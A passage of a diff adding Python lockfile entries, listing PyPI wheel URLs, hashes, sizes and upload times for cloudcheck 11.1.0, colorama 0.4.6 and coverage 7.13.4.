+    { url = "https://files.pythonhosted.org/packages/67/25/2deb743ec58df78cd0ce577a40df187600e670d1554ae6c686c9405362c6/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8d47c3527a6db33ae5c1c57c428df2f16e47818a75154481ff88e70b7b7f009c", size = 4289112, upload-time = "2026-06-24T01:53:13.416Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/ae/18f5b61a5ad6add2cea661bd839c1246ff295de24b1d761aacb78229582b/cloudcheck-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:53df6bd27a797560802c4e8e6b3a8bb4f6aa9d87bd762d2d7ab4ed4bbda1ef5f", size = 1412447, upload-time = "2026-06-24T01:53:27.079Z" },
+    { url = "https://files.pythonhosted.org/packages/23/22/16169719a177e6ed099f1030b95a68dacd516429563bfe4c1d4561bd385d/cloudcheck-11.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:7fdd75d9290732ab63b60a0456c72c6100b0ece7ba29f3ba37903da945aed90e", size = 1627846, upload-time = "2026-06-24T01:52:25.366Z" },
+    { url = "https://files.pythonhosted.org/packages/31/42/567df33fd6022379f70ab69659b18f3a28a44c5c0878d4928c1d0c8ab033/cloudcheck-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91682f2f6f06f7d99040c3b7e281e82057322cfd4d0f15c77746868335176bf4", size = 1603340, upload-time = "2026-06-24T01:52:18.402Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/00/1f054e67b5932f63cdbe1d4363c358a926ccc6a46a286fb18b41a82f1edc/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8cc23596a1c64d5dc8300f03bec7f3962e21ff07fcca1b9a7e697d4ec47628f1", size = 4231553, upload-time = "2026-06-24T01:51:16.77Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/c2/27b9eb424148475cb6c696be2926bf06a27e9e19066357c99f5a8431bc1b/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9d2c81349bc95cf598248da3f34cc052ee9b19a0d374923ba88ca522a2b6b21", size = 3581702, upload-time = "2026-06-24T01:51:29.737Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/23/090a17cdf2447deec2019ddf2c99e71998fc7b6c1eca4dfd93e82b35b14f/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1db5cd94eaff83acf93111c83cc053a71a11861ae3a45d08c5a5c02a919ab17", size = 4166027, upload-time = "2026-06-24T01:51:54.715Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/95/a663471127fc36ddc5102a7f1638630e7098a4c2f59385039cfb201ec5a8/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03d8ab01a4f72a806d8ecb045e29055d208e5e75202934aee1fa3d709a4c77f2", size = 4076800, upload-time = "2026-06-24T01:51:42.432Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/47/a97fbf2eacb4956cbb9ca0a4316067b5d7cf18164267829cceac05eb6fc2/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:916574b39591b533bda458c9ae3a780169e71be1ad0c72e1175ad58a5a5629b3", size = 4020820, upload-time = "2026-06-24T01:52:07.687Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/e0/f4545bb3bf57ee43c17ef1226de5dde334977ba538632f2be99d745885fa/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:488518b5bcf8b9e72cefb5c23af69a52be68b4a196ccca5ef2f5a7cd5bf41645", size = 4634914, upload-time = "2026-06-24T01:52:34.565Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f0/932346dcf9efa86245a490f5d3a2432f895bba61432ece025134534a88b3/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1b32de616c43504e092f7ce7ad7122f6cba2a0d72bca130b0134d8811aba277c", size = 3911265, upload-time = "2026-06-24T01:52:48.629Z" },
+    { url = "https://files.pythonhosted.org/packages/22/6b/99da3537c47ac0f73ff753ffb850d1f3249a653d537925e14bb7d66b880c/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ca6a5e8e8b293acd32a5f5affe4106c6165033445062384a44dc2044c4d2061f", size = 4256638, upload-time = "2026-06-24T01:53:01.56Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/3f/b8250fa548c54d41948a59b24c23cba8215aae6ec45237c0981e47f6986e/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccaa40f94d028bf264e71e89e6e51993fc01643fb063e0f2633cd44de86a429c", size = 4288676, upload-time = "2026-06-24T01:53:15.676Z" },
+    { url = "https://files.pythonhosted.org/packages/4d/5d/5fc745389013087e1d92c633b848f1a149486a0619a54276690b5f209e1a/cloudcheck-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a90283241cbf136f99a4b9181ad5845aa479e826e0fc1a8287b8a69400cd14e3", size = 1412224, upload-time = "2026-06-24T01:53:28.64Z" },
+    { url = "https://files.pythonhosted.org/packages/59/e4/ae62a65601098faf2b0b841e7ce5e87617f5c640c8c775087a77dea0b4a4/cloudcheck-11.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:37c7b25eebde0bdfadbe23a285ee0570cc6b91aee01400b3d2a12eb9c354e9a6", size = 1628902, upload-time = "2026-06-24T01:52:27.078Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/c8/b57b9930dc5352696f8ce154fcd8c4a1c0e56a7436186430d016c6be0773/cloudcheck-11.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e69c64d371cef736ce7404dbc0d2d4f0af2c645e467432d5596f01f2b3f1c67e", size = 1603546, upload-time = "2026-06-24T01:52:20.368Z" },
+    { url = "https://files.pythonhosted.org/packages/91/1d/13e34739ea4b1d6adc4af45c569446f70435616a81facc2b8adc7c3a0e36/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e99315d0e1214987bc2f6463dbfc5864e30a757c0f5a61ab3f569eeab65d804", size = 4227647, upload-time = "2026-06-24T01:51:18.708Z" },
+    { url = "https://files.pythonhosted.org/packages/88/91/f4bb1a4ad1388375d62866c3dbb2d7868d01cc84d529404fecd1ea364ec3/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ac124c734c5e9e773f55245878819d793eb30662974f67fadf9bfb01e89f5850", size = 3582647, upload-time = "2026-06-24T01:51:31.514Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/61/36bedf0b70f3a31a25c72c1167a7972652084a7e07c8419fa363f03aab41/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14da5f7208fa6248ce96e620eca7888977905ff29de217c294976f098928e255", size = 4166298, upload-time = "2026-06-24T01:51:56.768Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/df/87ddfc882f32b2cfcbbd30b8758cadced445114c17b6979b60ed0d8c7e9f/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05cdffad94d306ed391399848c583f917fb4ac25d99e6edddcaa77a9b78a9d5a", size = 4078109, upload-time = "2026-06-24T01:51:44.128Z" },
+    { url = "https://files.pythonhosted.org/packages/82/6d/709c0fb41c52029da2a91df2f2184a37beb8ab95c3c614df2575060b4033/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593f78d4740b83f43955883b24fdc785193b7ff4e679f5545f9e9e6501ea86b5", size = 4019438, upload-time = "2026-06-24T01:52:09.584Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/7b/408820addf925533973abb1da009f8719c4063e4964ade075dcdf50c67d8/cloudcheck-11.1.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:127ffee71e9de652e88c9e0179c59318eedd139b13453e839f0eb7f33e19b88f", size = 3620324, upload-time = "2026-06-24T01:38:18.03Z" },
+    { url = "https://files.pythonhosted.org/packages/08/49/47e64da6a7775e8b79c0974ecb05d46c4576ea13c1b61616ee4536d04bc5/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7625d40295f3285d8c81f527ea248e4a4c03a5ae9b0e3be777b7d5b519fffa51", size = 4627588, upload-time = "2026-06-24T01:52:36.667Z" },
+    { url = "https://files.pythonhosted.org/packages/61/1e/7b3cfa2f917fb529f1b726cfe495258b05b7c689abf815c6786da63f03ad/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f5cf04e8a36eadcfe66739804df961f570dbacdade908fc8dde856bc7f3a070c", size = 3912050, upload-time = "2026-06-24T01:52:50.423Z" },
+    { url = "https://files.pythonhosted.org/packages/77/43/1e680cbc70bfc2afd40753a2c3458f4568d14a3d605e72871f2aea3f5566/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:3f4f92835fcf428f4acdc3681739a306c7172b6a7963ef4b272eefd0f390c387", size = 4256341, upload-time = "2026-06-24T01:53:03.479Z" },
+    { url = "https://files.pythonhosted.org/packages/55/c7/3611ac35cb38a82d0ebbcf3568eefb19ba89b5d93040179a9bf13e93b4bc/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e38eaf5fa3f871b2afe1caa4c1cf2626af8a55faf7db0f05abeb8895a40ece5", size = 4283526, upload-time = "2026-06-24T01:53:17.642Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/de/6ba44d3ea3c5ed7c03c744ee8155019845975208dc15a00213895fde5923/cloudcheck-11.1.0-cp314-cp314-win32.whl", hash = "sha256:5d418ad7ccd53f1367b31ead8c96c42c324f6eaef8a69f9a82772b5ce651465c", size = 1320213, upload-time = "2026-06-24T01:53:31.805Z" },
+    { url = "https://files.pythonhosted.org/packages/91/c4/76ad9c8e15524c115b1f11e5b56b4291e0925cb8626989d7d93a503f7a22/cloudcheck-11.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:76a90ae769b9837bf7f5cd7d7831ca3fae36fea839b5fcdd41e7ed8327c05183", size = 1411520, upload-time = "2026-06-24T01:53:30.269Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/7a/c414832db140aceb8d7021f787d9fc91f2358cbbb1733c689e939657238a/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:416bbc5bcc2da6b77a7c5d83715da8b68ed140ce5435f40ebae7ac8a1669b54e", size = 4230623, upload-time = "2026-06-24T01:51:20.703Z" },
+    { url = "https://files.pythonhosted.org/packages/08/5a/6062da2e386424f35907ffe5f9fa5f8d76efa9ba7b297f17ff6e2bfcfd7b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75c04c26554d8b98564a6a354b7b5a23769fe106b81f6fe6bcf54d3f482f0937", size = 3579147, upload-time = "2026-06-24T01:51:33.376Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/9b/ba7c8bb8243c4a5ce4cc2522f046bd71742b0423738eb945cc778659d486/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af81fdf60c2369b384c182017c188bcbe6fd7a7a9dfb504f4e52ebd09f9dcd46", size = 4164579, upload-time = "2026-06-24T01:51:58.599Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/cf/0d81beba95d8ff0c64e9604f4abaf7001dc536f48efb54ab2b92c7a3539b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d619c5beef80b831a95508dca6e7400378295a81f593290490f1e919b2d3ba4", size = 4078924, upload-time = "2026-06-24T01:51:45.817Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/d0/050ab1722d6c1a628ab6c2e5a1ba6788f79a14c16e1ea959467736a6d4bc/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6914ec7776c85b73a739e2e6708fa7e730d28ab15010f4fba401386beee50180", size = 4025140, upload-time = "2026-06-24T01:52:11.439Z" },
+    { url = "https://files.pythonhosted.org/packages/35/97/2bb5e69c7aded98bc9efc5cec1d648d9e5e4b4c3a717103f4d8513a66a5f/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:74542a999b0b633c43a68ed6e51ccc4a1f1c7e5b009d774d29c9a3d2164742af", size = 4631093, upload-time = "2026-06-24T01:52:38.458Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/37/f7559e749951eb2b639eee322018c276bd1b4eb892ae7d46514b2afa4c63/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:8cd31034b0be3b3bf706543e54eb61b4c31567484554f3c44b490f0759302e2b", size = 3909734, upload-time = "2026-06-24T01:52:52.269Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/34/c22c7b6863d9302b2cd94887dbea46a9d69be5d5ccb8f37459d9eb637028/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:bf2cc009afa271b2ebfde51364003d67fe439d0a6c4c2740ceeb25ef0c36ad8b", size = 4253930, upload-time = "2026-06-24T01:53:05.241Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/88/a26706ee3c86e0d2b990d3184d38a7b69dc2fc2bd11b45dda4325cc9f9cf/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:de8b44c02d05d5a5c4629b88f3edfadcefee2834b90a8b8888b4d56e2b8b1922", size = 4290138, upload-time = "2026-06-24T01:53:19.41Z" },
+    { url = "https://files.pythonhosted.org/packages/70/3b/bfdfcc252b3df211a2adc657744528755c810e5c58e8d95a414ccabe3fc8/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b70efa9390577f1c2cdec2a3dab40149efed3192b71a41cfe59e28984c0d1c6", size = 4236159, upload-time = "2026-06-24T01:51:22.71Z" },
+    { url = "https://files.pythonhosted.org/packages/14/18/9fec85a4a09d528f4d514f8e70638d3961d4098cb715b4179f55313b673c/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a0d8d5c586f4dfdb8a644503ef855a7f59fe760390c3bae2cffce0fd7c5e6d5", size = 3585652, upload-time = "2026-06-24T01:51:35.245Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/5e/59699d4d59d9f0df8e370a465eda694cb106490c7e62d92446fb91944f60/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d89a88f1ab1d8984a4ab69d5e1b6fc0d27372a337cce07138ba8464410a58631", size = 4170828, upload-time = "2026-06-24T01:52:00.378Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/ea/39266dd460993c5573b0b6e83a501e592b31f76bbaa39dcb6373f0e0d144/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5e25da85442c04e5adfa8e640b317461d5b28ffc4e9a4f69553215bddceb58f", size = 4082245, upload-time = "2026-06-24T01:51:47.743Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/e4/ccbc9d41aa4e38f1da5ae70860b65370eef1e9f3793e644113b12b3db2f6/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f66138d97c9cbb6e5afe2f794fdfd6345ba2a65e958a138652f82c4c3fb261cd", size = 4025861, upload-time = "2026-06-24T01:52:13.234Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/7b/f63b121aa58decb8e29e51a894642477d9dd6e66d25a0f8dbc0bf11c482f/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:fe3e69f5aa1611b9cb75a09f0062f590b76eb3d700c347239287e5a1503c38d0", size = 4641331, upload-time = "2026-06-24T01:52:40.327Z" },
+    { url = "https://files.pythonhosted.org/packages/01/46/83842410d5e502c71e07e493f1fbf1d22531aebe352e578539ac3ee57c00/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:0dbe979a8ddbc8d324798d04667efa46a4200db350a16f10e7ad07d8c16102cd", size = 3914486, upload-time = "2026-06-24T01:52:54.083Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/c6/51fa6ff51575f8411dea54a7ba06cad6c2f7d28d874431dbd1aed1af21c8/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:bb895f08f654451bbcc847d9f61bcd2132c1e1b968f6056a63647bbd560ebe36", size = 4264679, upload-time = "2026-06-24T01:53:07.513Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/2c/d9c8309be4e6aaae9e49343ba53f8314aa4258cb4a16a24bb3efd3e49003/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:e8b40a33c6c2e66072fe7aa94b6a8cd088106dcf6da676ae9195b5a4e5606eca", size = 4292406, upload-time = "2026-06-24T01:53:21.307Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "coverage"
+version = "7.13.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/24/56/95b7e30fa389756cb56630faa728da46a27b8c6eb46f9d557c68fff12b65/coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91", size = 827239, upload-time = "2026-02-09T12:59:03.86Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/44/d4/7827d9ffa34d5d4d752eec907022aa417120936282fc488306f5da08c292/coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415", size = 219152, upload-time = "2026-02-09T12:56:11.974Z" },
+    { url = "https://files.pythonhosted.org/packages/35/b0/d69df26607c64043292644dbb9dc54b0856fabaa2cbb1eeee3331cc9e280/coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b", size = 219667, upload-time = "2026-02-09T12:56:13.33Z" },
+    { url = "https://files.pythonhosted.org/packages/82/a4/c1523f7c9e47b2271dbf8c2a097e7a1f89ef0d66f5840bb59b7e8814157b/coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a", size = 246425, upload-time = "2026-02-09T12:56:14.552Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/02/aa7ec01d1a5023c4b680ab7257f9bfde9defe8fdddfe40be096ac19e8177/coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f", size = 248229, upload-time = "2026-02-09T12:56:16.31Z" },
+    { url = "https://files.pythonhosted.org/packages/35/98/85aba0aed5126d896162087ef3f0e789a225697245256fc6181b95f47207/coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012", size = 250106, upload-time = "2026-02-09T12:56:18.024Z" },
+    { url = "https://files.pythonhosted.org/packages/96/72/1db59bd67494bc162e3e4cd5fbc7edba2c7026b22f7c8ef1496d58c2b94c/coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def", size = 252021, upload-time = "2026-02-09T12:56:19.272Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/97/72899c59c7066961de6e3daa142d459d47d104956db43e057e034f015c8a/coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256", size = 247114, upload-time = "2026-02-09T12:56:21.051Z" },
+    { url = "https://files.pythonhosted.org/packages/39/1f/f1885573b5970235e908da4389176936c8933e86cb316b9620aab1585fa2/coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda", size = 248143, upload-time = "2026-02-09T12:56:22.585Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/cf/e80390c5b7480b722fa3e994f8202807799b85bc562aa4f1dde209fbb7be/coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92", size = 246152, upload-time = "2026-02-09T12:56:23.748Z" },
+    { url = "https://files.pythonhosted.org/packages/44/bf/f89a8350d85572f95412debb0fb9bb4795b1d5b5232bd652923c759e787b/coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c", size = 249959, upload-time = "2026-02-09T12:56:25.209Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/6e/612a02aece8178c818df273e8d1642190c4875402ca2ba74514394b27aba/coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58", size = 246416, upload-time = "2026-02-09T12:56:26.475Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/98/b5afc39af67c2fa6786b03c3a7091fc300947387ce8914b096db8a73d67a/coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9", size = 247025, upload-time = "2026-02-09T12:56:27.727Z" },
+    { url = "https://files.pythonhosted.org/packages/51/30/2bba8ef0682d5bd210c38fe497e12a06c9f8d663f7025e9f5c2c31ce847d/coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf", size = 221758, upload-time = "2026-02-09T12:56:29.051Z" },
+    { url = "https://files.pythonhosted.org/packages/78/13/331f94934cf6c092b8ea59ff868eb587bc8fe0893f02c55bc6c0183a192e/coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95", size = 222693, upload-time = "2026-02-09T12:56:30.366Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/ad/b59e5b451cf7172b8d1043dc0fa718f23aab379bc1521ee13d4bd9bfa960/coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053", size = 219278, upload-time = "2026-02-09T12:56:31.673Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/17/0cb7ca3de72e5f4ef2ec2fa0089beafbcaaaead1844e8b8a63d35173d77d/coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11", size = 219783, upload-time = "2026-02-09T12:56:33.104Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/63/325d8e5b11e0eaf6d0f6a44fad444ae58820929a9b0de943fa377fe73e85/coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa", size = 250200, upload-time = "2026-02-09T12:56:34.474Z" },
+    { url = "https://files.pythonhosted.org/packages/76/53/c16972708cbb79f2942922571a687c52bd109a7bd51175aeb7558dff2236/coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7", size = 252114, upload-time = "2026-02-09T12:56:35.749Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/c2/7ab36d8b8cc412bec9ea2d07c83c48930eb4ba649634ba00cb7e4e0f9017/coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00", size = 254220, upload-time = "2026-02-09T12:56:37.796Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/4d/cf52c9a3322c89a0e6febdfbc83bb45c0ed3c64ad14081b9503adee702e7/coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef", size = 256164, upload-time = "2026-02-09T12:56:39.016Z" },
+    { url = "https://files.pythonhosted.org/packages/78/e9/eb1dd17bd6de8289df3580e967e78294f352a5df8a57ff4671ee5fc3dcd0/coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903", size = 250325, upload-time = "2026-02-09T12:56:40.668Z" },
+    { url = "https://files.pythonhosted.org/packages/71/07/8c1542aa873728f72267c07278c5cc0ec91356daf974df21335ccdb46368/coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f", size = 251913, upload-time = "2026-02-09T12:56:41.97Z" },
+    { url = "https://files.pythonhosted.org/packages/74/d7/c62e2c5e4483a748e27868e4c32ad3daa9bdddbba58e1bc7a15e252baa74/coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299", size = 249974, upload-time = "2026-02-09T12:56:43.323Z" },
+    { url = "https://files.pythonhosted.org/packages/98/9f/4c5c015a6e98ced54efd0f5cf8d31b88e5504ecb6857585fc0161bb1e600/coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505", size = 253741, upload-time = "2026-02-09T12:56:45.155Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/59/0f4eef89b9f0fcd9633b5d350016f54126ab49426a70ff4c4e87446cabdc/coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6", size = 249695, upload-time = "2026-02-09T12:56:46.636Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/2c/b7476f938deb07166f3eb281a385c262675d688ff4659ad56c6c6b8e2e70/coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9", size = 250599, upload-time = "2026-02-09T12:56:48.13Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/34/c3420709d9846ee3785b9f2831b4d94f276f38884032dca1457fa83f7476/coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9", size = 221780, upload-time = "2026-02-09T12:56:50.479Z" },
+    { url = "https://files.pythonhosted.org/packages/61/08/3d9c8613079d2b11c185b865de9a4c1a68850cfda2b357fae365cf609f29/coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f", size = 222715, upload-time = "2026-02-09T12:56:51.815Z" },
